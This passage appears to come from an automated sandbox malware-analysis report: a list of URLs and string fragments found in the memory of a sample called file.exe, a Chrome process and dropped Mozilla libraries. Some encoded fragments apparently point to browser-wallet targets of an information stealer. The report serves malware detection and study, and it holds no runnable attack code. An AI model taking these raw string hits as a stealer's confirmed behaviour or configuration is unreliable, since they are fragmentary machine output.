Source: file.exe, file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_79.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_75.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj$N
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000002.00000003.1920849454.000007C001740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920810324.000007C00173C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920959273.000007C001748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920894563.000007C001744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000003.1917984674.000007C0019E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.1879479292.00004E24006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000002.00000003.1917392287.000007C000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000002.00000003.1881287982.000007C0001EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000002.00000003.1917410990.000007C0002AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000002.00000003.1923784255.000007C001B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.1892476222.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1923784255.000007C001B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000003.1892476222.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1923784255.000007C001B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000003.1892476222.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1923784255.000007C001B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.1892476222.000007C000A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000002.00000003.1892476222.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1923784255.000007C001B58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_75.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_79.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_79.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1988726852.000000001D45D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1988726852.000000001D45D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: chromecache_79.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.4.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000002.00000003.1891726026.000007C000CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_79.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_79.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000002.00000003.1921081127.000007C00175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1921177754.000007C00176C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920849454.000007C001740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920810324.000007C00173C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920959273.000007C001748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1921108209.000007C001760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1921202714.000007C001770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920997923.000007C00174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1920894563.000007C001744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1921135503.000007C001768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_75.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_75.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_75.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915363499.000007C0013DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915721428.000007C0013A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/0x1024
Source: file.exe, 00000000.00000003.2108811596.00000000237D3000.00000004.00000020.00020000.00000000.sdmp, HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
